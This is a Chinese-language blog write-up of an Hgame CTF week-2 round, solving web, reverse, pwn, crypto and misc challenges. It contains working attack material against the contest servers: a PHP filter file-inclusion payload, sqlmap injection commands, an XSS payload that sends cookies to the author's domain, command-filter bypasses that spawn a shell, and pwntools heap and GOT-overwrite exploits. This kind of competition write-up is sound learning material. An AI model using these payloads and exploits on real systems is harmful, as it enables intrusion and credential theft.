0%

Hgame-week2-writeup

发表于 更新于 分类于
本文字数： 20k 阅读时长 ≈ 18 分钟

因为图片url要替换，这些工作量有点大，现在才弄好。请收下这份迟来的writeup

Web

Cosmos的博客后台

点击链接后跳转到url：http://cosmos-admin.hgame.day-day.work/?action=login.php

多次测试这个action参数发现，有文件包含漏洞，利用php伪协议，读取login.php源码

1
?action=php://filter/read=convert.base64-encode/resource=./login.php

得到数据base64解码写入文件查看：

2

猜测这个DEBUG_MODE是true，那么访问login.php页面，传入参数

1
?debug=admin_username

可以得到变量admin_username的内容为Cosmos!，依次可以得到admin_password的内容为0e114902927253523756713132279690

且有：5

密码md5值是0e开头的，如果这个md5值和另一个0e开头的字符串用==比较，php会认为这两个字符串是浮点数的科学计数法，会转化成数字再比较，0的任何次幂都是0，那么只要找一个字符串的md5值同样是0e开头的就可以了，百度一个即可，登录后进入后台页面admin.php，同样先利用前面的文件包含漏洞读取admin.php的源码

8)7

那么图片url构造为

1
file://localhost/flag

把结果base64解码即可

Cosmos的留言板-1

url为http://139.199.182.61/index.php?id=1

这个id存在sql注入，经过测试，过滤了空格还有一些关键词如select，不过关键词的过滤是大小写区分的，而且只过滤了一次，所以可以大小写混合绕过或者双写绕过如：seLect或者selselectect。空格可以用注释替代比如：and 1=1可以换成and/**/1=1

知道过滤了哪些之后，上sqlmap。

关键词过滤用大小写随机绕过脚本randomcase.py，空格替换成注释space2comment.py

检测注入：

1
sqlmap -u http://139.199.182.61/index.php?id=1 --tamper=randomcase.py,space2comment.py

然后获取数据库名称：

1
sqlmap -u http://139.199.182.61/index.php?id=1 --tamper=randomcase.py,space2comment.py -current-db

得知数据库名称为easysql，然后获取数据表：

1
sqlmap -u http://139.199.182.61/index.php?id=1 --tamper=randomcase.py,space2comment.py -D easysql -tables

得知有一个表为f1aggggggggggggg，应该是存放了flag，dump出这个表：

1
sqlmap -u http://139.199.182.61/index.php?id=1 --tamper=randomcase.py,space2comment.py -D easysql -T f1aggggggggggggg -dump-all

flag就出来了

Cosmos的新语言

根据页面内容，可知读取了mycode这个文件的内容作为eval的参数，那么先去看看能不能访问mycode这个文件，http://2482d2a5eb.php.hgame.n3ko.co/mycode发现可以看到文件内容：

2

那么只要解密出这个token，拿这个token去访问url http://2482d2a5eb.php.hgame.n3ko.co/就得了，但是这个mycode的加密的方式会变化，学长还说每隔5秒变一次，那就要写脚本了，而且这个加密方式无非就base64_encode，strrev，encrypt，str_rot13这四种，比较好写，我的脚本如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
#!/bin/python2
#coding=utf8

import base64
import re
from requests import Session
from lxml import etree

def rot13(s):
    ret = b''
    for ch in  s:
        if ch >= 'a' and ch <= 'z':
            c = chr((ord(ch) - ord('a') + 13) % 26 + ord('a')) 
        elif ch >= 'A' and ch <= 'Z':
            c = chr((ord(ch) - ord('A') + 13) % 26 + ord('A'))
        else:
            c = ch
        ret += c
    return ret

def decrypt(s):
    ret = ''
    for ch in s:
        c = chr(ord(ch) - 1)
        ret += c
    return ret

def strrev(s):
    return s[::-1]

def base64_decode(s):
    return base64.b64decode(s)

def get_encrypt_token(s):
    url = 'http://2482d2a5eb.php.hgame.n3ko.co/'
    r = s.get(url)
    html = etree.HTML(r.text)
    path = '/html/body/text()'
    return html.xpath(path)[0].strip('\n')

def get_encrypt_methods(s):
    url = 'http://2482d2a5eb.php.hgame.n3ko.co/mycode'
    r = s.get(url)
    text = r.text
    #print text
    p = r'echo\((.*)\(\$_SERVER'
    return re.search(p, r.text).group(1).split('(')

def decrypt_token(encrypt_token, methods):
    token = encrypt_token
    for m in methods:
        if m == 'str_rot13':
            token = rot13(token)
        elif m == 'strrev':
            token = strrev(token)
        elif m == 'base64_encode':
            token = base64_decode(token)
        elif m == 'encrypt':
            token = decrypt(token)
        else:
            return None
    return token

def submit(s, token):
    url = 'http://2482d2a5eb.php.hgame.n3ko.co/'
    data={
        'token': token
    }
    r = s.post(url, data=data)

    return r.text


s = Session()
encrypt_token = get_encrypt_token(s)
methods = get_encrypt_methods(s)

#print 'encrypt_token='+encrypt_token
#print 'methods='+str(methods)

token = decrypt_token(encrypt_token, methods)

#print 'token='+token

flag = submit(s, token)

print flag

Cosmos的聊天室

其实就是xss，不过有些防护，不断测试（省略无数次失败），发现<xxx>这样的会被过滤掉，<xxx到不会被过滤掉，也就是只要尖括号成对出现都会被过滤掉，之前学到浏览器有容错性什么的，那就试试<xxx <!--。

后面的<!--把后面的内容都注释掉，前面的<xxx很可能被解析成<xxx>标签，于是尝试

<img src=1 onerror=alert(1) <!--

经过过滤后变成：

8

发现全部转成大写了，alert变成了ALERT，那不行，那把onerror的内容全部编码成HTML实体编码：

<img src=1 onerror=&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29; <!--

在浏览器里试，发现成功弹窗了，那想办法，让其获取http://c-chat.hgame.babelfish.ink/flag的内容，通过url跳转到我的一个域名上，传参数为内容如window.location='http://xxx/?flag=content'，这样查看我的服务器的日志就可以看到这个content了，还有那个验证码爆破一些数，md5前6位符合就行。

但是试了很多遍都不行，本地成功了。问过学长，原来是那个机器人不能访问``http://c-chat.hgame.babelfish.ink/flag`这个链接。。。

然后我就直接把cookie给窃取过来，然后我自己访问吧

onerror对应的js代码如下：

1
2
3
4
(function(){
    var img = new Image();
    img.src='http://我的域名/?token='+document.cookie;
})();

记得编码成HTML实体编码。

顺便写成脚本一步到位：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#!/bin/python3
import hashlib
import requests


def md5(s):
    return hashlib.md5(s.encode()).hexdigest()

def get_code(s):
    # 获取验证码前6位md5值
    url = 'http://c-chat.hgame.babelfish.ink/code'
    r = s.get(url)

    code = r.json()['code']

    # 之前测试过，破解出来的都是8位数，所以这里直接从8位数开始
    for i in range(10000000, 99999999):
        if md5(str(i)).startswith(code):
            return str(i)

def send(s):
    url = 'http://c-chat.hgame.babelfish.ink/send'
    payload = '<img src=1 onerror=编码后的js代码'
    data = {
        'message':payload
    }
    r = s.post(url, data=data)
    return r.text

def submit(s, code):
    url = 'http://c-chat.hgame.babelfish.ink/submit'
    data = {
        'code':code
    }
    r = s.post(url, data=data)
    return r


url = 'http://c-chat.hgame.babelfish.ink'


s = requests.Session()

# 访问一下url得到cookie
r = s.get(url)

# 获取验证码
code = get_code(s)
print('code='+code)

# 发送构造好的payload
text = send(s)
# print(text)

# 提交验证码，让刚刚的payload生效
r = submit(s, code)
print(r.text)

记得把对应的payload换成自己的，然后查看服务器日志得到cookie

9

然后7)带上cookie访问http://c-chat.hgame.babelfish.ink/flag即可

Re

unpack

学长给的学习资料直接就跟着脱壳，脱完壳后很简单了，关键逻辑就这样：

1

byte_6CA0A0这个数组也知道了

2

直接解就好

Classic_CrackMe

这个程序是C# .net写的，IDA看汇编很复杂的样子，后发现有反编译的软件，找一个来反编译，然后找到关键代码

1

flag的形式就是，hgame{+base64iv+str+}，这个base64iv其实就是AES的初始向量，查过初始向量的作用就是加密前（解密类似）先和明文做一个异或操作，大概如下：

1
明文 xor iv --key--> 密文

那么可以看到上面第一个红框，通过不同的初始向量，同样的密钥，解密出来的结果是不一样的

1
2
'Learn principles' xor iv1 --key--> 密文
'Same_ciphertext_' xor iv2 --key--> 密文

第一行的明文是根据上面的aes2来解密出来的，现在已知'Learn principles'，iv1和'Same_ciphertext_'，很容易确定通过异或可以得到iv2也就是我们的base64iv，即：

1
'Learn principles' xor 'Same_ciphertext_' xor iv1 == iv2

同样那个str也很好算，AES加密是分组加密的（这里是CBC模式），128bit一组，上一组加密的结果作为下一组加密的向量，而且text2刚好是一个分组，str刚好是第二个分组，知道text2也就知道用于与str异或的向量了，那直接在源码上动手解2

可以得到base64iv和str，从而得到flag

babyPy

学点python字节码的东西，勉强还原python代码如下：

1
2
3
4
5
6
7
8
9
def encrypt(flag):
    O0O = OOo[0:0:-1]

    O0o = list(O0O)

    for O0 in range(1, len(O0o)):
        Oo = O0o[O0] ^ O0o[O0 - 1] 
        O0o[O0] = Oo
    return hex(bytes(O0o))

就是先反转，然后每一个数与前一个数异或，解密exp如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/bin/python2
#coding=utf8


encrypt_data = '7d037d045717722d62114e6a5b044f2c184c3f44214c2d4a22'

def decrypt(data):
    lst = list(encrypt_data.decode('hex'))


    for i in range(len(lst)-1, 0, -1):
        ch = chr(ord(lst[i]) ^ ord(lst[i-1]))
        lst[i] = ch


    s = ''.join(lst)[::-1]
    return s
    

flag = decrypt(encrypt_data)
print(flag)

babyPyc

死磕python字节码，注意点：要用对应版本的python

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
>>> import marshal,dis
>>> f = open('c.pyc', 'rb')
>>> f.read(16)  # python3.7版本的pyc文件头有变化，变成16个字节了
b'B\r\r\n\x00\x00\x00\x00\xdaR%^ \x04\x00\x00'
>>> code = marshal.load(f)
>>> dis.dis(code)
  3           0 JUMP_ABSOLUTE            2
        >>    2 LOAD_CONST               0 (0)
              4 LOAD_CONST               1 (None)
              6 IMPORT_NAME              0 (os)
              8 STORE_NAME               0 (os)
             10 LOAD_CONST               0 (0)
             12 LOAD_CONST               1 (None)
             14 IMPORT_NAME              1 (sys)
...

根据dis.dis(code)出来的类似汇编的代码，还原出源码大概是这样的：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import os,sys
from base64 import b64encode

O0o = b'/KDq6pvN/LLq6tzM/KXq59Oh/MTqxtOTxdrqs8OoR3V1X09J'

def getFlag():
    global O0o
    print('Give me the flag')
    flag = input('>')
    flag = flag.encode()
    O0o = b'Qo/Zg7N+WpXClNKYcanKfrO8n3qpqICtzrecpF2pZ3JvRS1Q'
    return flag

flag = getFlag()
if flag[:6] != b'hgame{' or flag[-1] != 125: # 125 ord('}')
    print('Incorrect format!')
    sys.exit(1)

raw_flag = flag[6:-1]  # hgame{xx}中的xx

if len(flag)-7 != 36:
    print('Wrong length!')
    sys.exit(2)

raw_flag = raw_flag[::-1] # 反转

ciphers = [ [ raw_flag[row*6+col] for row in range(6) ] for col in range(6)]

#print(ciphers)

for row in range(5):
    for col in range(6):
        ciphers[row][col] += ciphers[row+1][col]
        ciphers[row][col] %= 256

#print(ciphers)

s = b''
for row in range(6):
    col = 0
    while col < 6: 
        s += bytes([ ciphers[row][col] ])
        col += 1

ciphers = s

ciphers = b64encode(ciphers)
if ciphers == O0o:
    print('Great, this is my flag.')
else:
    print('Wrong flag.')

可以看到，每一行的值都加上了下一行（并且对256取模），最后一行肯定是没有变的，可以倒推前面几行。按照这个思路，写出解密脚本：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/bin/python3

from base64 import b64decode

enc_data = b'Qo/Zg7N+WpXClNKYcanKfrO8n3qpqICtzrecpF2pZ3JvRS1Q'
data = b64decode(enc_data)

c = [ [ data[row*6+col] for col in range(6) ] for row in range(6)]

for row in range(5, 0, -1):
    for col in range(6):
        c[row-1][col] = (c[row-1][col] + 256 - c[row][col]) % 256

# 转置
c = [ [ c[row][col] for row in range(6) ] for col in range(6)]

s = ''
for row in range(6):
    for col in range(6):
        s += chr(c[row][col])

s = s[::-1]

print('hgame{%s}' % s)

Pwn

findyourself

（据说是辣个男人出的题，太难了）

首先是让你执行一条命令，然后让你猜当前目录位置，猜对了后面还有一次执行命令的机会，首先当然是想执行cat flag或者pwd啦，可惜不行，有检查

3

那么当务之急当然是想办法获取当前目录位置啦，不能有pwd等单词，而且命令只能有数字字母和-，依稀记得linux有个文件系统对应内存区域，被挂载在/proc，赶紧去查下/proc下都有什么，发现/proc/self/cwd是当前目录的一个连接(link)，那么执行命令ls -l /proc/self/cwd即可看到连接到哪里了，也就是当前目录是哪。

然后还有一次执行命令的机会，限制如下：

4

5

第一个限制就是不能出现sh和cat，还有一些shell的元字符，然后就是关闭了输出流，也就是所有输出都看不到，可以通过exec /bin/sh 1>&0将输出流重定向到0（0不是stdin吗？其实0,1,2都是绑定到同一个tty里的），我们可以先通过执行/bin/'s'h来绕过sh这个词的限制，然后再执行exec /bin/sh 1>&0打开输出流

第一步有很多方法，除了/bin/'s'h还可以$0（具体可以查$0这个变量是什么意思，这个是做完后学长说的，据说这才是预期解），我还想到一个/bin/?h，用?通配符，这里没有限制这个元字符

我的操作如下：

2

Roc826s_Note

关于堆的题，呃，我糊里糊涂就pwn出来了，堆还似懂非懂的，那怎么写wp呢？

呃。。。大概思路就是通过UAF泄露unsorted bin的地址，从而计算出libc的基址。然后通过double free来控制fast bin，使得malloc到一块想要写数据的地址，这里选取__malloc_hook这个区域，这个区域是存一个函数地址，然后malloc的时候会调用这个函数，只要把这块区域改写成one_gadget的地址，再malloc就可以getshell了。double free的利用方法可以参考一下这篇文章：https://blog.csdn.net/Breeze_CAT/article/details/103788698

具体看我的exp：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
#!/bin/python2
#coding=utf8

from pwn import *

context(arch='amd64', os='linux')
context.terminal = ["tmux", "splitw", "-h"]


#io = process(['./Roc826'])#, env={'LD_PRELOAD': './libc-2.23.so'})
io = remote('47.103.214.163', 21002)
elf = ELF('./libc-2.23.so')

def add(size, content):
    io.sendlineafter(':', '1')
    io.sendlineafter('size?\n', str(size))
    io.sendlineafter('content:', content)

def delete(index):
    io.sendlineafter(':', '2')
    io.sendlineafter('index?\n', str(index))

def show(index):
    io.sendlineafter(':', '3')
    io.sendlineafter('index?\n', str(index))


#gdb.attach(io)

# leak出libc基址
add(0x80, 'a') # 0
add(0x68, 'a') # 1

# UAF
delete(0)
show(0)

io.recvuntil('content:')
address = u64(io.recvuntil("\n",drop=True).ljust(8,"\x00"))


# 0x7fffff3f4b78
print 'address='+hex(address)

libc_base = address-(0x7f7b603f4b78-0x7f7b60030000)  # 后面的括号计算unsorted bin相对于libc的偏移

print 'libc_base='+hex(libc_base)

#gdb.attach(io)

malloc_hook = libc_base + elf.symbols['__malloc_hook']
#one_gadget_offset = 0x4526a
one_gadget_offset = 0xf1147
one_gadget = libc_base + one_gadget_offset

print 'malloc_hook='+hex(malloc_hook)
print 'one_gadget='+hex(one_gadget)

# double free
add(0x68, 'a') # 2
delete(1)
delete(2)
delete(1)

#gdb.attach(io)

# 通过这个修改 #1 的fb指针
# 减去0x23的这个位置，size字段刚好是0x80符合安全检查
add(0x68, p64(malloc_hook-0x23)) # 3 1

#gdb.attach(io)

add(0x68, 'a') # 4 2
add(0x68, 'a') # 5 1

#gdb.attach(io)

# 成功修改__malloc_hook
add(0x68, 'a'*0x13+p64(one_gadget)) # malloc_hook+0x20
#gdb.attach(io)

# 再malloc一次就可以触发__malloc_hook了
io.sendlineafter(':', '1')
io.sendlineafter('size?\n', str(0x18))

#gdb.attach(io)

io.interactive()

Another_Heaven

关键点：

1

可以通过第一处红框的代码，写入\x00就是字符串结束符，来截断flag，结合第二个红框处验证，爆破flag

exp如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#!/bin/python2
#coding=utf8

from pwn import *
from sys import exit
from string import printable

# flag被读到的位置
flag_addr = 0x602160

def validate(flag):
    #io = process('./Another_Heaven')
    io = remote('47.103.214.163', 21001)

    cut_addr = flag_addr + len(flag)
    io.sendlineafter('Annevi!"\n', str(cut_addr))
    #io.sleep(0.1)
    io.send('\x00') # 截断flag
    io.sendlineafter('Account:', 'E99p1ant')
    io.sendlineafter('Password:', flag)

    msg = io.recvline()
    if 'Wrong' in msg:
        ret = False
    else:
        ret = True
    io.close()
    return ret


# 爆破flag
flag_len = 64
flag = 'hgame{'

while len(flag) < flag_len:
    for ch in printable:
        new_flag = flag + ch
        if validate(new_flag):
            flag = new_flag
            print flag
            if ch == '}':
                exit(0)
            break

形而上的坏死

首先要知道的是，栈上面有个返回地址，是返回到__libc_start_main那边的，可以泄露出来得到libc的基址。

利用的漏洞点：

2

3

然后利用以下漏洞点，来劫持got表项为one_gadget

6

我选择劫持的是__stack_chk_fail，所以还要修改canary来触发。

漏洞点：

4

可以通过负数绕过20的限制，因为和20比较的时候是有符号数比较，而后面是只取了读入的数据的最低处的那个字节来使用，那么可以将要读入的数据进行最高位置为1成为负数，就可以绕过20的限制了，再通过这个写内存的操作来修改canary。

最后exp如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
#!/bin/python2
#coding=utf-8

from pwn import *
from sys import exit
from time import sleep

#context(arch='amd64', os='linux')
#context.terminal = ["tmux", "splitw", "-h"]
#context.log_level = 'debug'

def get_realnum(n):
    """保留数字n的最低那个字节，最高位置为1，使其成为负数"""
    n |= 0x80000000
    return u32(p32(n), signed=True)

#io = process(['./Metaphysical_Necrosis'])#, env={'LD_PRELOAD': './libc-2.23.so'})
io = remote('47.103.214.163', 21003)

libc = ELF('./libc-2.23.so')
elf = ELF('./Metaphysical_Necrosis')

#gdb.attach(io)
#sleep(1)

# 栈上面有个返回地址__libc_start_main+E7
io.sendlineafter('哪里呢？\n', '5') # 5处，有个__libc_start_main+E7
io.sendline('') # 低字节变成0x0a  泄露出来的就是__libc_start_main+??

io.sendlineafter('planted!\n', '')
io.sendlineafter('吼不吼啊！\n', '')

io.sendlineafter('起个名字:', 'name')

# 第22处是canary，触发__stack_chk_fail
io.sendlineafter('几段呢？\n', str(get_realnum(22)))
for i in range(22):
    io.sendlineafter('怎么料理呢：', 'a')

io.sendlineafter('吃了大半。\n', '')
io.sendlineafter('从中散发。\n', '')

# &e99 + 8 * v == __stack_chk_fail;
io.sendlineafter('是__m:\n', str(-19))  # -19是__stack_chk_fail的地方
io.recvuntil('Terrorist Win\n')

#gdb.attach(io)
#sleep(1)

addr = u64(io.recv(6).ljust(8, '\x00'))
libc_base = addr - libc.symbols['__libc_start_main']
libc_base &= 0xfffffffffffff000

print 'libc_base: '+hex(libc_base)

one_gadget_offset = 0x45216
one_gadget = libc_base + one_gadget_offset

#print io.recv()

print 'one_gadget: '+hex(one_gadget)

io.sendafter('？~…____', p64(one_gadget))
#gdb.attach(io)
#sleep(1)

io.interactive()

Crypto

Verification_code

问就是爆破，脚本如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#!/bin/python2
#coding=utf8

from pwn import *
import string
from hashlib import sha256

charset = string.ascii_letters+string.digits

def generateXXXX():
    for a1 in charset:
        for a2 in charset:
            for a3 in charset:
                for a4 in charset:
                    yield (a1+a2+a3+a4)


io = remote('47.98.192.231', 25678)
tail = io.recvuntil(') ==').strip('sha256(XXXX+').strip(') ==')
_hexdigest = io.recvline().strip()

#tail = '3716IrYIJ6jB8hCO'
#_hexdigest = '538f1eec92e9a92476e9ec878b08d601d9a0af3907f1fec94c1577309b2f9b64'

print 'tail{' + tail + '}'
print '_hexdigest{' + _hexdigest + '}'

for x in  generateXXXX():
    h = sha256(x+tail).hexdigest()
    if h == _hexdigest:
        print 'XXXX{' + x + '}'
        io.sendline(x)
        io.sendline('I like playing Hgame')
        io.interactive()
        break

Remainder

孙子定理套公式，得到c = m的e次方 % (p*q*r)，然后直接开方！（我就是蠢成这样）

当然不是这么搞，问了下学长，当成rsa来搞.

因为p,q,r都是质数，所以那个欧拉函数（是这么叫的吧）就是

phi = (p-1)*(q-1)*(r*1)

然后可以解出私钥d，然后pow(c, d, p*q*r)就可以得出m了

具体exp如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#!/bin/python2
#coding=utf8

import gmpy2
import binascii
from Crypto.Util import number

p = 94598296305713376652540411631949434301396235111673372738276754654188267010805522542068004453137678598891335408170277601381944584279339362056579262308427544671688614923839794522671378559276784734758727213070403838632286280473450086762286706863922968723202830398266220533885129175502142533600559292388005914561
q = 150088216417404963893679242888992998793257903343994792697939121738029477790454833496600101388493792476973514786401036309378542808470513073408894727406158296404360452232777491992630316999043165374635001806841520490997788796152678742544032835808854339130676283497122770901196468323977265095016407164510827505883
r = 145897736096689096151704740327665176308625097484116713780050311198775607465862066406830851710261868913835866335107146242979359964945125214420821146670919741118254402096944139483988745450480989706524191669371208210272907563936516990473246615375022630708213486725809819360033470468293100926616729742277729705727

c1 = 78430786011650521224561924814843614294806974988599591058915520397518526296422791089692107488534157589856611229978068659970976374971658909987299759719533519358232180721480719635602515525942678988896727128884803638257227848176298172896155463813264206982505797613067215182849559356336015634543181806296355552543 
c2 = 49576356423474222188205187306884167620746479677590121213791093908977295803476203510001060180959190917276817541142411523867555147201992480220531431019627681572335103200586388519695931348304970651875582413052411224818844160945410884130575771617919149619341762325633301313732947264125576866033934018462843559419 
c3 = 48131077962649497833189292637861442767562147447040134411078884485513840553188185954383330236190253388937785530658279768620213062244053151614962893628946343595642513870766877810534480536737200302699539396810545420021054225204683428522820350356470883574463849146422150244304147618195613796399010492125383322922

n1 = gmpy2.invert(q*r, p) * q * r * c1
n2 = gmpy2.invert(p*r, q) * p * r * c2
n3 = gmpy2.invert(p*q, r) * p * q * c3

N = p * q * r
c = (n1 + n2 + n3) % N # m^e % N = c --> c = pow(m, e, N)

phi = (p-1)*(q-1)*(r-1) # p q r 都是质数
e = 65537

d = gmpy2.invert(e, phi)

m = pow(c, d, N)

msg = number.long_to_bytes(m)

print msg 

# flag在msg里，其实肉眼就可得
msg = msg.split('\n')[3:-3]

flag = ''
for line in msg:
    flag += line[:2]

print flag

notRC4

RC4的最后状态的S盒已知，倒推每一步的状态，但是有个索引j（查查RC4的资料吧）不知道，想了一下午，最终学长给hint说可以枚举，呃，又是爆破。。。

exp如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#!/bin/python3

box =  [130, 71, 252, 212, 98, 88, 81, 161, 68, 47, 42, 28, 91, 224, 10, 17, 244, 75, 147, 100, 31, 83, 72, 114, 221, 63, 142, 131, 29, 55, 110, 157, 74, 197, 192, 172, 199, 138, 82, 49, 169, 158, 43, 215, 48, 93, 123, 233, 213, 226, 62, 144, 166, 202, 234, 214, 229, 95, 18, 69, 65, 248, 23, 193, 61, 5, 132, 141, 219, 39, 19, 231, 154, 15, 146, 173, 7, 125, 127, 185, 36, 111, 135, 107, 189, 118, 102, 76, 228, 128, 195, 148, 57, 89, 156, 182, 255, 64, 84, 1, 239, 21, 77, 30, 9, 245, 34, 44, 20, 115, 196, 122, 191, 149, 41, 201, 145, 105, 163, 160, 208, 249, 134, 73, 184, 152, 12, 56, 113, 247, 6, 183, 150, 27, 67, 116, 24, 159, 119, 86, 37, 139, 14, 53, 155, 109, 220, 194, 237, 104, 2, 16, 96, 241, 33, 26, 40, 203, 236, 153, 78, 251, 250, 206, 174, 235, 164, 22, 99, 126, 133, 242, 254, 46, 227, 85, 165, 90, 25, 179, 232, 52, 137, 225, 50, 217, 209, 94, 216, 140, 11, 178, 238, 58, 190, 218, 253, 59, 210, 187, 112, 97, 204, 120, 45, 13, 92, 207, 151, 54, 106, 80, 32, 177, 205, 79, 103, 188, 121, 230, 171, 35, 167, 175, 243, 60, 198, 70, 222, 181, 0, 51, 117, 4, 129, 176, 246, 180, 124, 136, 170, 211, 162, 223, 8, 38, 3, 240, 168, 87, 101, 66, 108, 186, 143, 200]
enc_data =  b'\r#\x85\xad\xcbS\xfa\x94\x8b\x1a\xfa\xd8\xe2\xde3gU8\xda9\xd2\n7s\x0f\x13:"\x8b-\x01CzT\xb0b\x13\x03\xb9m\xe4\xe6\xb0\x87\xd8i\xbfO$\xab'

def get_lastj(i):
    """爆破出最后一轮的索引j"""
    for j in range(256):
        t = (box[i] + box[j]) % 256
        k = box[t]
        if (k ^ enc_data[-1]) == ord('}'):
            return j
    return None

def xor(s1, s2):
    return bytes(map( (lambda x: x[0]^x[1]), zip(s1, s2) ))

i = len(enc_data)
j = get_lastj(i)

key = []

for _ in range(len(enc_data)):
    #print('(%s, %s)' % (i, j))
    t = (box[i] + box[j]) % 256
    key.append(box[t])
    box[i], box[j] = box[j], box[i]  # 换回来
    j = (j+256-box[i]) % 256 # 计算上一轮的j
    i -= 1 # 上一轮的i

key = key[::-1]  # 得到的密钥流是反转的，要反转回来

print(xor(enc_data, key))

Misc

Cosmos的午餐

wireshark分析，配置好TLS的密钥，参考一下https://blog.csdn.net/nimasike/article/details/80887436，配置好ssl_log.log，即可解密TLS会话数据。

从一个包中找到上传文件的操作，并且找到上传后的路径

1

访问url，下载文件解压后，是图片一张，而且图片信息里有

3

想了半天，问出题人，让我看图片名字。然后百度知道这涉及到一个outguess隐写软件，ubuntu的apt有源，安装好后，用备注里的key解密出隐藏信息：

4

打开可下载一个压缩包，解压后是个二维码文件，扫码即可

所见即为假

压缩包是伪加密，解压后得到一张图片，查了好久查不出有隐写。几天后问了出题人，又是一次灵魂拷问：“压缩包注释你看了吗”，解压完后就把注意力放到图片上了，想不到压缩包还有猫腻。

1

那个F5之前查到过，是个隐写算法，那么这个图片应该是F5隐写的，而且后面有密码，用工具F5-steganography可以解，解出来后是这样的：

2hex编码过，解码发现有rar压缩包的头，把解码后的数据写入文件，解开压缩包，有flag.txt，里面即flag

地球上最后的夜晚

pdf里面有隐写的信息，搜索pdf隐写的资料，可查到一些工具，解密后得到

4

解压压缩包得到一个doc文档，修改后缀名为.zip，解压找到一个secret.xml里有flag

3